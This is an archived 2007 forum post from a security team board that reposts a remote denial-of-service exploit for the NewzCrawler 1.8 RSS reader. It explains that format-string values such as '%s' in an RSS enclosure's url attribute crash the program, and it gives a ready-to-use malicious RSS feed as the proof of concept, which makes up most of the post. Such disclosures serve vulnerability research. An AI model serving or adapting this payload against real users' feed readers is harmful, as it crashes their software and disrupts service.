邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-5-23 12:08

NewzCrawler 1.8 (invalid string) Remote Denial of Service Exploit

[code]NewzCrawler 1.8 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

NewzCrawler 1.8 becomes usntable and begin crash when parsering the 'url' atribute of
'enclosure' sub-element contends some invalid string* at time of show a new item of a
RSS 2.0 file.

* '%s', '%Y', '%%', 'n,', and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
    <title>Test</title>
    <link></link>
    <description></description>

    <item>
        <title>Remote DoS PoC</title>
        <enclosure url="%s"/>
    </item>
</channel>
</rss>

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team